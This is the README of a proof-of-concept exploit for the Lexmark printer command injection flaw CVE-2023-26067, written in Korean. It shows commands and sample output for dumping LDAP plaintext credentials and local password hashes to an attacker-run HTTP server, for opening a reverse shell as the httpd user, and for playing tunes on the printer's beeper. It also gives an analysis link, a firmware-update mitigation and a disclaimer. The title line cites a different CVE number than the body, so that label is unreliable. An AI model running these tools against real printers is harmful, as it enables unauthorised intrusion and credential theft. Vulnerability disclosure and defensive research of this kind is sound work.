CVE-2023-34362

POC: Lexmark 프린터에 영향을 미치는 명령 주입 취약점(CVE-2023-26067)을 악용한 자격 증명 덤프, 리버스 셸 및 음악 재생 도구

기술 분석

취약점에 대한 기술적 근본 원인 분석은 블로그에서 확인할 수 있습니다. https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022

요약

이 POC는 명령 주입을 악용하여 httpd 사용자로 셸을 획득합니다.

AD 서비스 자격 증명 및 로컬 자격 증명 평문 덤프

python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C

리버스 셸

sudo python3 Print4Shell.py -r 192.168.1.185 -l 192.168.1.212
[*] Sending wakeup 1...
[*] Sending wakeup 2...
[*] Starting listener on 0.0.0.0:443...
[*] Sending payload to server...
httpd@ls:/usr/share/web/cgi-bin$

음악 재생

python3 BitConductor.py -s mario
Converting: mario
----------
rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140
----------
rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210
----------
rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0

데모

https://github.com/horizon3ai/CVE-2023-26067/assets/18901000/260400e5-83a3-4491-a159-1193660b9da4

완화 조치

Lexmark 보안 권고문에 따라 최신 펌웨어 버전으로 업데이트하세요.

https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf

면책 조항

이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.

CVE-2023-26067

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